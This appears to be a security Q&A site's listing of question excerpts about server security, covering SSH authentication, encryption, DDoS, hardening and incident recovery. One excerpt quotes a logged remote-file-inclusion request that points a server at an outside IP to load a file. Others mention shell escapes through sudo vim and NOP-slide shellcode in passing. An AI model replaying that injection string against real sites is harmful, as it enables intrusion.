A server is a machine running a software daemon that is generally accessed over a network by other machines.

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24
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3answers
1k views

Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
21
votes
7answers
13k views

DDoS - Impossible to stop?

Is it possible - in theory - to stop1 a DDoS attack of any size? Many people claim it's impossible to stop DDoS attacks and tell me I just shouldn't mess with the wrong people on the internet. But ...
17
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4answers
672 views

Global Blackout is a myth?

In order to shut the Internet down, anonymous claimed that putting-down the 13 root DNS servers of the Internet and therefore disabling the HTTP Internet, the most widely used function of the Web, ...
12
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3answers
8k views

Possible to use both private key and password authentication for ssh login?

It seems that they are mutually exclusive, as disabling one gives me the other, and vice versa. Two-factor auth for my ssh servers sounds really nice, so is there any way to accomplish this?
10
votes
5answers
476 views

Does naming sensitive things discreetly provide protection?

I had a job where a manager said he liked naming servers after places because if they were named descriptively e.g. "passwords database server" they become obvious targets. I sort of generalized this ...
10
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2answers
1k views

How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
8
votes
1answer
2k views

Check logs for Heartbleed exploit use?

According to articles such as the following, it's apparently possible to check logs for heartbeat requests matching the payloads described in the Heartbleed exploit. Is this something that any server ...
8
votes
1answer
226 views

What is the difference between HSM and Key server?

As per PCI-DSS requirements, we have to use either HSM (Hardware Security Module), or Key Server to store the KEK (Key Encryption Key). If I'm storing encrypted DEK (Data Encryption Key) in an App ...
7
votes
1answer
335 views

Enterprise standard for securing servers.

This must be the most broad question to ask, but through the years, i've come up with my own list of things I so to secure my servers, I follow the obvious steps I could gather online such as, ...
7
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2answers
4k views

How safe is the ownCloud encryption in a trusted LAN?

ownCloud looks like a promising locally hosted dropbox alternative. However, it has been pointed out that the encryption is not exactly strong... (The ownCloud team does at least provide a list of ...
7
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3answers
214 views

What is a good source for hardened base configurations

I attended B-Sides in Orlando FL where one of the speakers had mentioned a site which contains hardened configs for popular services such as apache and postfix. The author of these configs is ...
6
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3answers
792 views

Are duplicate SSH server host keys a problem?

I'm doing an assessment of a small network that is using a good bit of virtualization. They have cloned some of their linux machines after generating their SSH server host keys. So the servers all ...
6
votes
1answer
150 views

How important is a mysql password for localhost?

We can assume that if an attacker gained access to a web server running mysql that they would be capable of reading the scripts to determine the mysql password. If mysql only responds on localhost, ...
6
votes
1answer
4k views

SSL Cert Types and Key Usage

I want to use OpenSSL to create a CSR and submit it to my CA (which uses Microsoft PKI) and receive certificates that can be used for both Server Auth and Client Auth. I'm not clear on a couple of ...
5
votes
6answers
2k views

Is it possible to locate Tor/proxy users? Spam is getting on my nerves

I'm managing a huge forum (over 15k posts and 500 users) and lately some guy uses a VPN (probably) to spam my forums with topics such as: "GAYGAYGAYGAYGAYGAYGAY" "FRIGHT IS GAY HAHAHAHHAA" "ADMINS ...
5
votes
5answers
1k views

Windows 2003 Enterprise infected by Conficker; post-infection problems continue

I used various tools to remove Conficker, and I pretty much succeeded, but I've had recurring problems afterward. It won't update anymore (with the following error message: 0x800706B5) I tried ...
5
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2answers
5k views

Creating user specific authentication methods in SSH

I have configured sshd on an Ubuntu server to use key authentication and it is working fine. I had to disable password authentication for key authentication to work. Server is always accessed via ...
5
votes
3answers
705 views

Security of JVM for Server

Using type- and memory-safe languages like Java and Scala for server applications gave me the confidence of having a basic level of security (e.g. compared to C). Now with the recent wave of Oracle ...
5
votes
2answers
606 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
5
votes
1answer
2k views

What are the privacy pros and cons of using a public DNS server vs. your own?

Whether I'm using a normal internet connection setup, or tunnelling it through an anonymizing VPN or through TOR, what information of mine is revealed to whatever DNS server that I choose (e.g. Google ...
5
votes
3answers
1k views

How do I improve the physical security of a rack cabinet?

I've got an 8U 19-inch server rack cabinet with two locks - one on the front panel, one on the rear panel. The locks are small cam locks, but the cam part is rather thin and flimsy-looking. I could ...
4
votes
2answers
417 views

Preparing for a stolen physical server

What would be the best ways to protect sensitive data stored on a server/drive that gets stolen? The confidentiality of the data is what is important, not retrieving it. Obviously, physical means are ...
4
votes
3answers
1k views

Setting up a security CTF server

I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ...
4
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4answers
3k views

Using SYN cookies to perform a DOS attack

In my software security class, we had this question: You are the system administrator for a provider that owns a large network (e.g., at least 64,000 IP addresses). Show how you can use SYN ...
4
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3answers
208 views

Storing config securely in a semi trusted shared hosting environment

I'm looking for a pattern to store a config file containing sensitive information in a semi trusted hosting environment. Semi trusted in this case meaning I trust them in general, but not with this ...
4
votes
3answers
425 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
4
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3answers
1k views

Can email be encrypted before it reaches the mail server? If not, is there something that would allow something like this that's being worked on?

I was thinking about hosting my own email (own email server) instead of using Gmail. But then I realized I could never host my email on a server where I'm also hosting Wordpress. That is because I ...
4
votes
3answers
80 views

Will sabotaging a shared web hosting account threaten the security of sibling accounts being that they are shared on the same server?

Will sabotaging a shared web hosting account threaten the security of sibling accounts being that they are shared on the same server? Whether it it be through htaccess setups, posting login ...
4
votes
2answers
215 views

TLS server key: possible to sign another TLS server key?

If I have a valid (verifiable) certificate C_K_s that links the server key K_s to "www.example.com", is it possible to : use K_s to sign K_d, and let S_K_d be this signature use K_d as the TLS ...
4
votes
1answer
712 views

How to fuzz on FreeFloat FTP server using SPIKE Fuzzing?

I would to seek help on using SPIKE fuzzer to fuzz an FTP server which I am testing on Freefloat FTP server but do not have idea on how to work on. As I research and tested out many different types of ...
3
votes
2answers
297 views

Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
3
votes
1answer
359 views

NX bit causes segfault on NOP slide?

doing an assignment for university. We have to exec a shell on a remote server. We're told the NX bit is not set, however, when we redirect to our injected code, the server has a segmentation fault. ...
3
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2answers
2k views

Using Window Servers 2003 after security updates are discontinued

Let's say that Microsoft has stopped supporting Windows Server 2003 now so there is no any security updates and I use that system for Domain Controller (Windows XP/7 Professional Clients) and File ...
3
votes
3answers
141 views

How do I store a user's secret key on a server?

I'm learning about security at the moment and one thing I'd like to try out is having a key server distribute keys to clients that will allow them to securely save and read data locally. My basic ...
3
votes
3answers
2k views

Cryptolocker: can servers be protected?

I'm IT in a small company. The network is about as ancient as most of the staff (at 30, I'm the company's youngest), and the staff also is notorious for spreading viruses around the network despite ...
3
votes
1answer
774 views

What are the pros and cons of using fail2ban when using SSH key auth? [closed]

I've just bought a new dedicated server. Should I install fail2ban if I am only using SSH keys to login? What else does fail2ban protect? What are the advantages and disadvantages of fail2ban? Is ...
3
votes
1answer
86 views

Server Certification Processes

We are considering a certification process for new internal server builds before they are allowed to be placed into production. That is, the system administration team will send the server up to the ...
3
votes
3answers
3k views

Disabling SSL v2 and weak ciphers on client PC's

Is it a requirement to also disable SSL v2 and weak ciphers on client PC's? I have seen quite a few posts for disabling them on servers, but nothing about a regular client PC, say, running Windows XP ...
3
votes
1answer
145 views

Updating stored, encrypted containers on a server

My scenario is this -- I want to store an encrypted container on a network server. This encrypted container should be accessible to others to download and decrypt/mount locally provided they have the ...
2
votes
2answers
351 views

How does a firewall help to protect a server?

Since a potential attacker will exploit the services that are already open to public by firewall rules, how will a firewall help to protect my server from attackers?
2
votes
2answers
313 views

Are there any logic-bombs that execute when the file is deleted?

I want to delete a suspected malicious file from a server. For the purposes of this question assume that the infected machine is Windows Server 2003 or later. Is there any risk in deleting such a ...
2
votes
4answers
157 views

Protecting IP on a remote server

Apologies in advance if this question is a bit vague. I just joined a stock trading group. A guy set up a server for me, and it's racked in their building. I ssh into it, and run my algo remotely ...
2
votes
2answers
106 views

How to find out the email host of a vanity email address?

Assuming a person gets his own domain address, say, theperson.com. He then goes on to create a vanity email address with that domain. e.g. me@theperson.com. me@theperson.com may be hosted by the ...
2
votes
3answers
190 views

How to regain access to the server?

I have a Debian server with KVM available 24/7. It was recently broken into and its root password changed. My hosting provider has restored my access and helped me change the password. But in the ...
2
votes
2answers
267 views

Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
2
votes
4answers
119 views

Why should I log successful log-ins to my server?

I was arguing with a friend about logs in user logins. I think that logs means a big audit source for IT audit professionals. Why should I log successful log-ins to my server? It's so important log ...
2
votes
1answer
215 views

Security on dedicated lines

Is it safe for a company not to use any encryption on customer's data when it is transferred between data centers on dedicated lines? By customer data I don't mean passowrds/credit card info. Just ...
2
votes
4answers
281 views

What's the best way to secure inter-server communication for cloud servers?

I'm looking for best-practices or suggestions to secure inter-server communications between VPSs. Should I just run all traffic through SSH? What about HTTP Traffic via something like mongo? ...
2
votes
2answers
202 views

Is this accidental incident considered hacking(illegal)? [closed]

I was doing research for a college research paper and I got bored and opened up CMD. I don't really know more than the next guy about computers, so i figured id just play around. I googled the ...
2
votes
2answers
434 views

SSL: How to send generated client certificate from server to avoid MITM?

The question I have is simply how do I prevent a MiTM attack on a certificate once the server side creates a new one and tries to send it to a client? Does the certificate get encrypted by rsa and ...